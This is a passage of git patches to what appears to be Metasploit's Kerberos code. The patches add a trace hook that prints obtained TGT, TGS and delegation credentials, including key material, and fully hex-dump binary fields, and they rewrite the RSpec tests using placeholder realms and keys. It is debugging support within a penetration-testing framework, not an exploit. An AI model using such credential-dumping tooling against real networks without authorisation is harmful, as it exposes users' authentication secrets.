+        subscriber.on_response(response)
 
-        expect(output_text).to eq(expected_output)
+        expect(@output[3]).to eq('%clr{')
       end
     end
 
-    context 'when KerberosTicketTraceColors is blank' do
-      let(:trace_colors) { '   ' }
-      let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Request: AS-REQ
-          ####################
-          %clr%bld%red{
-            "pvno": 5,
-            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REQ},
-            "crealm": "EXAMPLE.LOCAL"
-          }%clr
-        EOF
+    context 'when KerberosTicketTraceColors is set to response color only with a leading slash' do
+      let(:mock_datastore) do
+        {
+          'KerberosTicketTrace' => true,
+          'KerberosTicketTraceColors' => '/yel'
+        }
       end
 
-      it 'falls back to default red/blu colors' do
-        log_request
+      it 'uses the configured response color' do
+        subscriber.on_response(response)
 
-        expect(output_text).to eq(expected_output)
+        expect(@output[3]).to eq('%clr%bld%yel{')
       end
     end
+  end
 
+  describe 'request message type mapping' do
     {
-      Rex::Proto::Kerberos::Model::AS_REP => 'AS-REP',
+      Rex::Proto::Kerberos::Model::AS_REQ => 'AS-REQ',
       Rex::Proto::Kerberos::Model::TGS_REQ => 'TGS-REQ',
-      Rex::Proto::Kerberos::Model::TGS_REP => 'TGS-REP',
       Rex::Proto::Kerberos::Model::AP_REQ => 'AP-REQ',
+      Rex::Proto::Kerberos::Model::KRB_ERROR => 'KRB-ERROR'
+    }.each do |msg_type, msg_name|
+      it "maps request msg_type #{msg_type} to #{msg_name}" do
+        subscriber.on_request(build_kerberos_message(msg_type: msg_type))
+
+        expect(@output).to include("# Kerberos Request: #{msg_name}")
+      end
+    end
+  end
+
+  describe 'response message type mapping' do
+    {
+      Rex::Proto::Kerberos::Model::AS_REP => 'AS-REP',
+      Rex::Proto::Kerberos::Model::TGS_REP => 'TGS-REP',
       Rex::Proto::Kerberos::Model::AP_REP => 'AP-REP',
       Rex::Proto::Kerberos::Model::KRB_ERROR => 'KRB-ERROR'
     }.each do |msg_type, msg_name|
-      context "when request msg_type is #{msg_name}" do
-        let(:request_message) { build_kerberos_message(msg_type: msg_type) }
-        let(:expected_output) do
-          <<~EOF.rstrip
-            ####################
-            # Kerberos Request: #{msg_name}
-            ####################
-            %clr%bld%red{
-              "pvno": 5,
-              "msg_type": #{msg_type},
-              "crealm": "EXAMPLE.LOCAL"
-            }%clr
-          EOF
-        end
-
-        it 'maps message type to the expected label' do
-          log_request
-
-          expect(output_text).to eq(expected_output)
-        end
+      it "maps response msg_type #{msg_type} to #{msg_name}" do
+        subscriber.on_response(build_kerberos_message(msg_type: msg_type))
+
+        expect(@output).to include("# Kerberos Response: #{msg_name}")
       end
     end
+  end
 
-    context 'when serializing a binary string field' do
-      let(:binary_hex) { '00' * 40 }
-      let(:request_message) do
+  describe 'value serialization' do
+    context 'when serializing a binary string' do
+      let(:binary_preview) { '00' * 32 }
+      let(:request) do
         build_kerberos_message(
           msg_type: Rex::Proto::Kerberos::Model::AS_REQ,
           fields: { ticket: ("\x00".b * 40) }
         )
       end
-      let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Request: AS-REQ
-          ####################
-          %clr%bld%red{
-            "pvno": 5,
-            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REQ},
-            "crealm": "EXAMPLE.LOCAL",
-            "ticket": "[binary 40 bytes: #{binary_hex}]"
-          }%clr
-        EOF
-      end
 
-      it 'prints binary data as tagged hex bytes' do
-        log_request
+      it 'logs a bounded binary preview instead of raw data' do
+        subscriber.on_request(request)
 
-        expect(output_text).to eq(expected_output)
+        expect(@output.any? { |line| line.include?("[binary 40 bytes: #{binary_preview}...]") }).to be(true)
       end
     end
 
-    context 'when serializing structured scalar values' do
+    context 'when serializing structured values' do
       let(:error_code) do
         double(
           'error_code',
@@ -338,489 +303,30 @@
           description: 'Message stream modified'
         )
       end
+
       let(:request_time) { Time.utc(2026, 3, 7, 12, 0, 0) }
-      let(:kdc_options) do
-        Rex::Proto::Kerberos::Model::KdcOptionFlags.from_flags([
-          Rex::Proto::Kerberos::Model::KdcOptionFlags::FORWARDABLE,
-          Rex::Proto::Kerberos::Model::KdcOptionFlags::RENEWABLE
-        ])
-      end
-      let(:request_message) do
+      let(:request) do
         build_kerberos_message(
           msg_type: Rex::Proto::Kerberos::Model::KRB_ERROR,
           fields: {
             stime: request_time,
             tags: %i[ap error],
             metadata: { source: :kdc },
-            error_code: error_code,
-            options: kdc_options,
-            etype_set: Set.new([18, 17])
+            error_code: error_code
           }
         )
       end
-      let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Request: KRB-ERROR
-          ####################
-          %clr%bld%red{
-            "pvno": 5,
-            "msg_type": #{Rex::Proto::Kerberos::Model::KRB_ERROR},
-            "crealm": "EXAMPLE.LOCAL",
-            "stime": "2026-03-07T12:00:00Z",
-            "tags": [
-              "ap",
-              "error"
-            ],
-            "metadata": {
-              "source": "kdc"
-            },
-            "error_code": {
-              "name": "KRB_AP_ERR_MODIFIED",
-              "value": 41,
-              "description": "Message stream modified"
-            },
-            "options": {
-              "value": #{kdc_options.to_i},
-              "flags": [
-                "FORWARDABLE",
-                "RENEWABLE"
-              ]
-            },
-            "etype_set": [
-              18,
-              17
-            ]
-          }%clr
-        EOF
-      end
-
-      it 'normalizes time, symbols, flags, sets and error code objects' do
-        log_request
-
-        expect(output_text).to eq(expected_output)
-      end
-    end
-
-    context 'when serializing nested Kerberos model objects' do
-      let(:ticket) do
-        Rex::Proto::Kerberos::Model::Ticket.new(
-          tkt_vno: 5,
-          realm: 'EXAMPLE.LOCAL',
-          sname: Rex::Proto::Kerberos::Model::PrincipalName.new(
-            name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST,
-            name_string: %w[krbtgt EXAMPLE.LOCAL]
-          ),
-          enc_part: Rex::Proto::Kerberos::Model::EncryptedData.new(
-            etype: Rex::Proto::Kerberos::Crypto::Encryption::AES256,
-            kvno: 2,
-            cipher: "\x01\x02\x03".b
-          )
-        )
-      end
-      let(:request_message) do
-        build_kerberos_message(
-          msg_type: Rex::Proto::Kerberos::Model::AS_REP,
-          fields: { ticket: ticket }
-        )
-      end
-      let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Request: AS-REP
-          ####################
-          %clr%bld%red{
-            "pvno": 5,
-            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REP},
-            "crealm": "EXAMPLE.LOCAL",
-            "ticket": {
-              "tkt_vno": 5,
-              "realm": "EXAMPLE.LOCAL",
-              "sname": {
-                "name_type": #{Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST},
-                "name_string": [
-                  "krbtgt",
-                  "EXAMPLE.LOCAL"
-                ]
-              },
-              "enc_part": {
-                "etype": #{Rex::Proto::Kerberos::Crypto::Encryption::AES256},
-                "kvno": 2,
-                "cipher": "[binary 3 bytes: 010203]"
-              }
-            }
-          }%clr
-        EOF
-      end
-
-      it 'recursively serializes nested model attributes' do
-        log_request
-
-        expect(output_text).to eq(expected_output)
-      end
-    end
-  end
-
-  describe '#on_response' do
-    subject(:log_response) { subscriber.on_response(response_message) }
-
-    let(:response_message) { build_kerberos_message(msg_type: Rex::Proto::Kerberos::Model::AS_REP) }
-
-    before do
-      capture_logging(logger)
-    end
-
-    context 'when KerberosTicketTrace is enabled with default colors' do
-      let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Response: AS-REP
-          ####################
-          %clr%bld%blu{
-            "pvno": 5,
-            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REP},
-            "crealm": "EXAMPLE.LOCAL"
-          }%clr
-        EOF
-      end
-
-      it 'prints a colored response header and JSON payload' do
-        log_response
-
-        expect(output_text).to eq(expected_output)
-      end
-    end
-
-    context 'when response is nil' do
-      let(:response_message) { nil }
-      let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Response: UNKNOWN
-          ####################
-          No response received
-        EOF
-      end
-
-      it 'prints a no-response message' do
-        log_response
-
-        expect(output_text).to eq(expected_output)
-      end
-    end
-
-    context 'when KerberosTicketTrace is false' do
-      let(:trace_enabled) { false }
-
-      it 'does not print anything' do
-        log_response
-
-        expect(output_text).to be_nil
-      end
-    end
-
-    context 'when KerberosTicketTrace is nil' do
-      let(:trace_enabled) { nil }
-
-      it 'does not print anything' do
-        log_response
-
-        expect(output_text).to be_nil
-      end
-    end
-
-    context 'when response msg_type is unknown' do
-      let(:response_message) { build_kerberos_message(msg_type: 31_337) }
-      let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Response: UNKNOWN (31337)
-          ####################
-          %clr%bld%blu{
-            "pvno": 5,
-            "msg_type": 31337,
-            "crealm": "EXAMPLE.LOCAL"
-          }%clr
-        EOF
-      end
-
-      it 'prints UNKNOWN with the numeric msg_type' do
-        log_response
-
-        expect(output_text).to eq(expected_output)
-      end
-    end
-
-    context 'when response object does not expose attributes' do
-      let(:response_message) { :raw_payload }
-      let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Response: UNKNOWN
-          ####################
-          %clr%bld%bluraw_payload%clr
-        EOF
-      end
-
-      it 'falls back to to_s formatting' do
-        log_response
-
-        expect(output_text).to eq(expected_output)
-      end
-    end
-
-    context 'when KerberosTicketTraceColors is set to red/blu' do
-      let(:trace_colors) { 'red/blu' }
-      let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Response: AS-REP
-          ####################
-          %clr%bld%blu{
-            "pvno": 5,
-            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REP},
-            "crealm": "EXAMPLE.LOCAL"
-          }%clr
-        EOF
-      end
-
-      it 'uses the configured response color' do
-        log_response
-
-        expect(output_text).to eq(expected_output)
-      end
-    end
-
-    context 'when KerberosTicketTraceColors is set to yel/' do
-      let(:trace_colors) { 'yel/' }
-      let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Response: AS-REP
-          ####################
-          %clr{
-            "pvno": 5,
-            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REP},
-            "crealm": "EXAMPLE.LOCAL"
-          }%clr
-        EOF
-      end
-
-      it 'uses no response color when the response side is blank' do
-        log_response
-
-        expect(output_text).to eq(expected_output)
-      end
-    end
-
-    context 'when KerberosTicketTraceColors is set to /grn' do
-      let(:trace_colors) { '/grn' }
-      let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Response: AS-REP
-          ####################
-          %clr%bld%grn{
-            "pvno": 5,
-            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REP},
-            "crealm": "EXAMPLE.LOCAL"
-          }%clr
-        EOF
-      end
-
-      it 'uses the configured response color' do
-        log_response
-
-        expect(output_text).to eq(expected_output)
-      end
-    end
-
-    context 'when KerberosTicketTraceColors is set to blu' do
-      let(:trace_colors) { 'blu' }
-      let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Response: AS-REP
-          ####################
-          %clr{
-            "pvno": 5,
-            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REP},
-            "crealm": "EXAMPLE.LOCAL"
-          }%clr
-        EOF
-      end
-
-      it 'treats a single color as request-only' do
-        log_response
-
-        expect(output_text).to eq(expected_output)
-      end
-    end
-
-    context 'when KerberosTicketTraceColors is set to /' do
-      let(:trace_colors) { '/' }
-      let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Response: AS-REP
-          ####################
-          %clr{
-            "pvno": 5,
-            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REP},
-            "crealm": "EXAMPLE.LOCAL"
-          }%clr
-        EOF
-      end
-
-      it 'disables both request and response color prefixes' do
-        log_response
-
-        expect(output_text).to eq(expected_output)
-      end
-    end
-
-    {
-      Rex::Proto::Kerberos::Model::AS_REQ => 'AS-REQ',
-      Rex::Proto::Kerberos::Model::TGS_REQ => 'TGS-REQ',
-      Rex::Proto::Kerberos::Model::TGS_REP => 'TGS-REP',
-      Rex::Proto::Kerberos::Model::AP_REQ => 'AP-REQ',
-      Rex::Proto::Kerberos::Model::AP_REP => 'AP-REP',
-      Rex::Proto::Kerberos::Model::KRB_ERROR => 'KRB-ERROR'
-    }.each do |msg_type, msg_name|
-      context "when response msg_type is #{msg_name}" do
-        let(:response_message) { build_kerberos_message(msg_type: msg_type) }
-        let(:expected_output) do
-          <<~EOF.rstrip
-            ####################
-            # Kerberos Response: #{msg_name}
-            ####################
-            %clr%bld%blu{
-              "pvno": 5,
-              "msg_type": #{msg_type},
-              "crealm": "EXAMPLE.LOCAL"
-            }%clr
-          EOF
-        end
-
-        it 'maps message type to the expected label' do
-          log_response
-
-          expect(output_text).to eq(expected_output)
-        end
-      end
-    end
-  end
-
-  describe '#on_credential' do
-    subject(:log_credential) { subscriber.on_credential(credential_to_log, source: source) }
-
-    let(:credential) { double('credential') }
-    let(:credential_to_log) { credential }
-    let(:source) { 'TGS' }
-    let(:presented_credential) do
-      <<~EOF.rstrip
-        Server: krbtgt/EXAMPLE.LOCAL@EXAMPLE.LOCAL
-        Client: Administrator@EXAMPLE.LOCAL
-        Ticket etype: 18 (AES256)
-        Key: deadbeef
-      EOF
-    end
-    let(:presenter) do
-      instance_double(
-        Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter,
-        present_cred: presented_credential
-      )
-    end
-
-    before do
-      capture_logging(logger)
-      allow(Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter).to receive(:new).with(nil).and_return(presenter)
-    end
-
-    context 'when trace is enabled and credential is present' do
-      let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Credential: TGS
-          ####################
-          Creds: 1
-            Credential[0]:
-              Server: krbtgt/EXAMPLE.LOCAL@EXAMPLE.LOCAL
-              Client: Administrator@EXAMPLE.LOCAL
-              Ticket etype: 18 (AES256)
-              Key: deadbeef
-        EOF
-      end
-
-      it 'prints presenter output under the credential header' do
-        log_credential
-
-        expect(output_text).to eq(expected_output)
-      end
-    end
-
-    context 'when source is nil' do
-      let(:source) { nil }
-      let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Credential
-          ####################
-          Creds: 1
-            Credential[0]:
-              Server: krbtgt/EXAMPLE.LOCAL@EXAMPLE.LOCAL
-              Client: Administrator@EXAMPLE.LOCAL
-              Ticket etype: 18 (AES256)
-              Key: deadbeef
-        EOF
-      end
-
-      it 'omits the source suffix from the header' do
-        log_credential
-
-        expect(output_text).to eq(expected_output)
-      end
-    end
-
-    context 'when credential is nil' do
-      let(:credential_to_log) { nil }
-
-      it 'does not print anything' do
-        log_credential
-
-        expect(output_text).to be_nil
-      end
-    end
-
-    context 'when KerberosTicketTrace is false' do
-      let(:trace_enabled) { false }
-
-      it 'does not print anything' do
-        log_credential
-
-        expect(output_text).to be_nil
-      end
-    end
-
-    context 'when presenter raises an error' do
-      let(:presenter) { instance_double(Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter) }
-      let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Credential: TGS
-          ####################
-          Credential presenter error: RuntimeError: boom
-        EOF
-      end
-
-      before do
-        allow(presenter).to receive(:present_cred).with(credential).and_raise(RuntimeError, 'boom')
-      end
 
-      it 'prints the presenter error message' do
-        log_credential
+      it 'serializes time, symbols, hashes, arrays and error-code objects' do
+        subscriber.on_request(request)
 
-        expect(output_text).to eq(expected_output)
+        expect(@output).to include('  "stime": "2026-03-07T12:00:00Z",')
+        expect(@output).to include('    "ap",')
+        expect(@output).to include('    "error"')
+        expect(@output).to include('    "source": "kdc"')
+        expect(@output).to include('    "name": "KRB_AP_ERR_MODIFIED",')
+        expect(@output).to include('    "value": 41,')
+        expect(@output).to include('    "description": "Message stream modified"')
       end
     end
   end

From 0c086402fe6137293c2ad8b233febe332bd5727c Mon Sep 17 00:00:00 2001
From: cyan <1570302455@qq.com>
Date: Sun, 8 Mar 2026 06:52:15 -0700
Subject: [PATCH 101/103] Improve Kerberos trace output consistency and spec

---
 .../kerberos/service_authenticator/base.rb    |   9 +-
 .../kerberos/kerberos_logger_subscriber.rb    |  47 +-
 lib/rex/proto/kerberos/kerberos_subscriber.rb |   8 +-
 .../kerberos_logger_subscriber_spec.rb        | 894 ++++++++++++++----
 4 files changed, 748 insertions(+), 210 deletions(-)

diff --git a/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb b/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb
index e682bb360549e..942a0a8398126 100644
--- a/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb
+++ b/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb
@@ -664,6 +664,7 @@ def authenticate_via_kdc(options = {})
     options.fetch(:ticket_storage, @ticket_storage).store_ccache(ccache, host: rhost)
 
     credential = ccache.credentials.first
+    kerberos_trace_subscriber.on_credential(credential, source: 'TGT')
     session_key = Rex::Proto::Kerberos::Model::EncryptionKey.new(
       type: credential.keyblock.enctype.value,
       value: credential.keyblock.data.value
@@ -782,6 +783,8 @@ def request_service_ticket(session_key, tgt_ticket, realm, client_name, etypes,
       client: client,
       server: sname
     )
+    credential = ccache.credentials.first
+    kerberos_trace_subscriber.on_credential(credential, source: 'TGS')
 
     tgs_ticket = tgs_res.ticket
     tgs_auth = decrypt_kdc_tgs_rep_enc_part(
@@ -790,7 +793,7 @@ def request_service_ticket(session_key, tgt_ticket, realm, client_name, etypes,
       msg_type: Rex::Proto::Kerberos::Crypto::KeyUsage::TGS_REP_ENCPART_SESSION_KEY
     )
 
-    [tgs_ticket, tgs_auth, ccache.credentials.first]
+    [tgs_ticket, tgs_auth, credential]
   end
 
   private
@@ -1073,8 +1076,10 @@ def request_delegation_ticket(session_key, tgt_ticket, realm, client_name, tgt_e
     )
 
     ccache = Rex::Proto::Kerberos::CredentialCache::Krb5Ccache.from_responses(delegated_tgs_res, delegated_tgs_auth)
+    delegated_credential = ccache.credentials.first
+    kerberos_trace_subscriber.on_credential(delegated_credential, source: 'Delegation TGS')
 
-    [delegated_tgs_ticket, delegated_tgs_auth, ccache.credentials.first]
+    [delegated_tgs_ticket, delegated_tgs_auth, delegated_credential]
   end
 
   # Search the database for a credential object that can be used for authentication.
diff --git a/lib/rex/proto/kerberos/kerberos_logger_subscriber.rb b/lib/rex/proto/kerberos/kerberos_logger_subscriber.rb
index 8cb127bedc06c..bde33004aefd7 100644
--- a/lib/rex/proto/kerberos/kerberos_logger_subscriber.rb
+++ b/lib/rex/proto/kerberos/kerberos_logger_subscriber.rb
@@ -1,9 +1,11 @@
 # -*- coding: binary -*-
 
 require 'json'
+require 'set'
 require 'time'
 require 'rex/proto/kerberos/model'
 require 'rex/proto/kerberos/kerberos_subscriber'
+require 'rex/proto/kerberos/credential_cache/krb5_ccache_presenter'
 
 module Rex
 module Proto
@@ -11,9 +13,6 @@ module Kerberos
 
   # Logs Kerberos requests/responses
   class KerberosLoggerSubscriber < KerberosSubscriber
-    # Limit binary previews to keep logs readable and avoid dumping large blobs.
-    BINARY_PREVIEW_SIZE = 32
-
     def initialize(logger:)
       super()
       raise RuntimeError, "Incompatible logger" unless logger.respond_to?(:print_line) && logger.respond_to?(:datastore)
@@ -43,6 +42,15 @@ def on_response(response)
       @logger.print_line("%clr#{response_color}#{format_message(response)}%clr")
     end
 
+    # (see Rex::Proto::Kerberos::KerberosSubscriber#on_credential)
+    def on_credential(credential, source: nil)
+      return unless trace_enabled?
+      return if credential.nil?
+
+      print_credential_header(source)
+      @logger.print_line(format_credential(credential))
+    end
+
     private
 
     def trace_enabled?
@@ -65,6 +73,12 @@ def print_header(direction, message)
       @logger.print_line('#' * 20)
     end
 
+    def print_credential_header(source)
+      @logger.print_line('#' * 20)
+      @logger.print_line("# Kerberos Credential#{source ? ": #{source}" : ''}")
+      @logger.print_line('#' * 20)
+    end
+
     def message_type_name(message)
       msg_type = message.msg_type if message.respond_to?(:msg_type)
       case msg_type
@@ -101,6 +115,16 @@ def format_message(message)
       end
     end
 
+    def format_credential(credential)
+      rendered_credential = ticket_presenter.present_cred(credential)
+      [
+        'Creds: 1',
+        "  Credential[0]:\n#{rendered_credential.indent(4)}"
+      ].join("\n")
+    rescue StandardError => e
+      "Credential presenter error: #{e.class}: #{e.message}"
+    end
+
     def serialize_element(element)
       element.attributes.each_with_object({}) do |attribute, output|
         value = element.public_send(attribute)
@@ -130,10 +154,17 @@ def serialize_scalar_value(value)
       case value
       when Array
         value.map { |entry| serialize_value(entry) }
+      when Set
+        value.to_a.map { |entry| serialize_value(entry) }
       when Hash
         value.each_with_object({}) do |(key, entry), output|
           output[key.to_s] = serialize_value(entry)
         end
+      when Rex::Proto::Kerberos::Model::KerberosFlags
+        {
+          'value' => value.to_i,
+          'flags' => value.enabled_flag_names.map(&:to_s)
+        }
       when Time
         value.utc.iso8601
       when String
@@ -154,10 +185,12 @@ def kerberos_error_code?(value)
     def serialize_string(value)
       return value if printable_string?(value)
 
-      # Show a short hex prefix when strings are binary/non-printable.
-      preview = value.byteslice(0, BINARY_PREVIEW_SIZE).to_s.unpack1('H*')
-      suffix = value.bytesize > BINARY_PREVIEW_SIZE ? '...' : ''
-      "[binary #{value.bytesize} bytes: #{preview}#{suffix}]"
+      # Expand binary/non-printable strings fully in hex.
+      "[binary #{value.bytesize} bytes: #{value.unpack1('H*')}]"
+    end
+
+    def ticket_presenter
+      @ticket_presenter ||= Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter.new(nil)
     end
 
     def printable_string?(value)
diff --git a/lib/rex/proto/kerberos/kerberos_subscriber.rb b/lib/rex/proto/kerberos/kerberos_subscriber.rb
index fac59992f76ff..486d35b661a56 100644
--- a/lib/rex/proto/kerberos/kerberos_subscriber.rb
+++ b/lib/rex/proto/kerberos/kerberos_subscriber.rb
@@ -15,8 +15,14 @@ def on_request(request)
     def on_response(response)
       nil
     end
+
+    # @param credential [Rex::Proto::Kerberos::CredentialCache::Krb5CcacheCredential]
+    # @param source [String,nil]
+    def on_credential(credential, source: nil)
+      nil
+    end
   end
 
 end
 end
-end
\ No newline at end of file
+end
diff --git a/spec/lib/rex/proto/kerberos/kerberos_logger_subscriber_spec.rb b/spec/lib/rex/proto/kerberos/kerberos_logger_subscriber_spec.rb
index bea5094a5e2c6..e4b654494fee5 100644
--- a/spec/lib/rex/proto/kerberos/kerberos_logger_subscriber_spec.rb
+++ b/spec/lib/rex/proto/kerberos/kerberos_logger_subscriber_spec.rb
@@ -1,300 +1,335 @@
-# -*- coding:binary -*-
+# -*- coding: binary -*-
 
+require 'set'
 require 'spec_helper'
 
 RSpec.describe Rex::Proto::Kerberos::KerberosLoggerSubscriber do
   include_context 'Msf::UIDriver'
 
-  let(:mock_module) { instance_double(Msf::Exploit, datastore: mock_datastore) }
-
-  subject(:subscriber) do
-    capture_logging(mock_module)
-    described_class.new(logger: mock_module)
-  end
+  subject(:subscriber) { described_class.new(logger: logger) }
 
+  let(:trace_enabled) { true }
+  let(:trace_colors) { nil }
   let(:mock_datastore) do
     {
-      'KerberosTicketTrace' => true
+      'KerberosTicketTrace' => trace_enabled,
+      'KerberosTicketTraceColors' => trace_colors
     }
   end
+  let(:logger) { instance_double(Msf::Exploit, datastore: mock_datastore) }
+  let(:output_text) { @output&.join("\n") }
 
-  let(:request) do
-    build_kerberos_message(msg_type: Rex::Proto::Kerberos::Model::AS_REQ)
-  end
+  describe '#initialize' do
+    subject(:build_subscriber) { described_class.new(logger: logger) }
 
-  let(:response) do
-    build_kerberos_message(msg_type: Rex::Proto::Kerberos::Model::AS_REP)
-  end
+    context 'when logger responds to print_line and datastore' do
+      let(:logger) { double('logger', print_line: nil, datastore: {}) }
 
-  describe '#on_request' do
-    let(:normal_request_output) do
-      [
-        '####################',
-        '# Kerberos Request: AS-REQ',
-        '####################',
-        '%clr%bld%red{',
-        '  "pvno": 5,',
-        "  \"msg_type\": #{Rex::Proto::Kerberos::Model::AS_REQ},",
-        '  "crealm": "EXAMPLE.LOCAL"',
-        '}%clr'
-      ]
+      it 'initializes successfully' do
+        expect { build_subscriber }.not_to raise_error
+      end
     end
 
-    context 'when KerberosTicketTrace is enabled' do
-      it 'logs AS-REQ messages with default request color' do
-        subscriber.on_request(request)
+    context 'when logger does not respond to print_line' do
+      let(:logger) { double('logger', datastore: {}) }
 
-        expect(@output).to eq(normal_request_output)
+      it 'raises an incompatible logger error' do
+        expect { build_subscriber }.to raise_error(RuntimeError, 'Incompatible logger')
       end
     end
 
-    context 'when KerberosTicketTrace is disabled' do
-      let(:mock_datastore) do
-        {
-          'KerberosTicketTrace' => false
-        }
-      end
-
-      it 'does not log request data' do
-        subscriber.on_request(request)
+    context 'when logger does not respond to datastore' do
+      let(:logger) { double('logger', print_line: nil) }
 
-        expect(@output).to be_nil
+      it 'raises an incompatible logger error' do
+        expect { build_subscriber }.to raise_error(RuntimeError, 'Incompatible logger')
       end
     end
+  end
 
-    context 'when KerberosTicketTrace is unset' do
-      let(:mock_datastore) do
-        {
-          'KerberosTicketTrace' => nil
-        }
-      end
+  describe '#on_request' do
+    subject(:log_request) { subscriber.on_request(request_message) }
 
-      it 'does not log request data' do
-        subscriber.on_request(request)
+    let(:request_message) { build_kerberos_message(msg_type: Rex::Proto::Kerberos::Model::AS_REQ) }
 
-        expect(@output).to be_nil
-      end
+    before do
+      capture_logging(logger)
     end
 
-    context 'when KerberosTicketTraceColors is set' do
-      let(:mock_datastore) do
-        {
-          'KerberosTicketTrace' => true,
-          'KerberosTicketTraceColors' => 'blu/grn'
-        }
+    context 'when KerberosTicketTrace is enabled with default colors' do
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Request: AS-REQ
+          ####################
+          %clr%bld%red{
+            "pvno": 5,
+            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REQ},
+            "crealm": "EXAMPLE.LOCAL"
+          }%clr
+        EOF
       end
 
-      it 'uses custom request color' do
-        subscriber.on_request(request)
+      it 'prints a colored request header and JSON payload' do
+        log_request
 
-        expect(@output[3]).to eq('%clr%bld%blu{')
+        expect(output_text).to eq(expected_output)
       end
     end
 
-    context 'when KerberosTicketTraceColors is set to a single request color with trailing slash' do
-      let(:mock_datastore) do
-        {
-          'KerberosTicketTrace' => true,
-          'KerberosTicketTraceColors' => 'yel/'
-        }
-      end
+    context 'when KerberosTicketTrace is false' do
+      let(:trace_enabled) { false }
 
-      it 'uses the configured request color' do
-        subscriber.on_request(request)
+      it 'does not print anything' do
+        log_request
 
-        expect(@output[3]).to eq('%clr%bld%yel{')
+        expect(output_text).to be_nil
       end
     end
 
-    context 'when KerberosTicketTraceColors is set to response color only with a leading slash' do
-      let(:mock_datastore) do
-        {
-          'KerberosTicketTrace' => true,
-          'KerberosTicketTraceColors' => '/yel'
-        }
-      end
+    context 'when KerberosTicketTrace is nil' do
+      let(:trace_enabled) { nil }
 
-      it 'logs request without color formatting' do
-        subscriber.on_request(request)
+      it 'does not print anything' do
+        log_request
 
-        expect(@output[3]).to eq('%clr{')
+        expect(output_text).to be_nil
       end
     end
 
-    context 'when KerberosTicketTraceColors is set to slash only' do
-      let(:mock_datastore) do
-        {
-          'KerberosTicketTrace' => true,
-          'KerberosTicketTraceColors' => '/'
-        }
+    context 'when request msg_type is unknown' do
+      let(:request_message) { build_kerberos_message(msg_type: 999) }
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Request: UNKNOWN (999)
+          ####################
+          %clr%bld%red{
+            "pvno": 5,
+            "msg_type": 999,
+            "crealm": "EXAMPLE.LOCAL"
+          }%clr
+        EOF
       end
 
-      it 'logs request without color formatting' do
-        subscriber.on_request(request)
+      it 'prints UNKNOWN with the numeric msg_type' do
+        log_request
 
-        expect(@output[3]).to eq('%clr{')
+        expect(output_text).to eq(expected_output)
       end
     end
 
-    context 'when KerberosTicketTraceColors is set to a single color without slash' do
-      let(:mock_datastore) do
-        {
-          'KerberosTicketTrace' => true,
-          'KerberosTicketTraceColors' => 'yel'
-        }
+    context 'when request object does not expose attributes' do
+      let(:request_message) { 'raw-payload' }
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Request: UNKNOWN
+          ####################
+          %clr%bld%redraw-payload%clr
+        EOF
       end
 
-      it 'uses the configured request color' do
-        subscriber.on_request(request)
+      it 'falls back to to_s formatting' do
+        log_request
 
-        expect(@output[3]).to eq('%clr%bld%yel{')
+        expect(output_text).to eq(expected_output)
       end
     end
 
-    context 'when request type is unknown' do
-      let(:request) do
-        build_kerberos_message(msg_type: 999)
+    context 'when KerberosTicketTraceColors is set to red/blu' do
+      let(:trace_colors) { 'red/blu' }
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Request: AS-REQ
+          ####################
+          %clr%bld%red{
+            "pvno": 5,
+            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REQ},
+            "crealm": "EXAMPLE.LOCAL"
+          }%clr
+        EOF
       end
 
-      it 'logs request with UNKNOWN header' do
-        subscriber.on_request(request)
+      it 'uses the configured request color' do
+        log_request
 
-        expect(@output).to include('# Kerberos Request: UNKNOWN (999)')
+        expect(output_text).to eq(expected_output)
       end
     end
-  end
-
-  describe '#on_response' do
-    let(:normal_response_output) do
-      [
-        '####################',
-        '# Kerberos Response: AS-REP',
-        '####################',
-        '%clr%bld%blu{',
-        '  "pvno": 5,',
-        "  \"msg_type\": #{Rex::Proto::Kerberos::Model::AS_REP},",
-        '  "crealm": "EXAMPLE.LOCAL"',
-        '}%clr'
-      ]
-    end
 
-    let(:nil_response_output) do
-      [
-        '####################',
-        '# Kerberos Response: UNKNOWN',
-        '####################',
-        'No response received'
-      ]
-    end
-
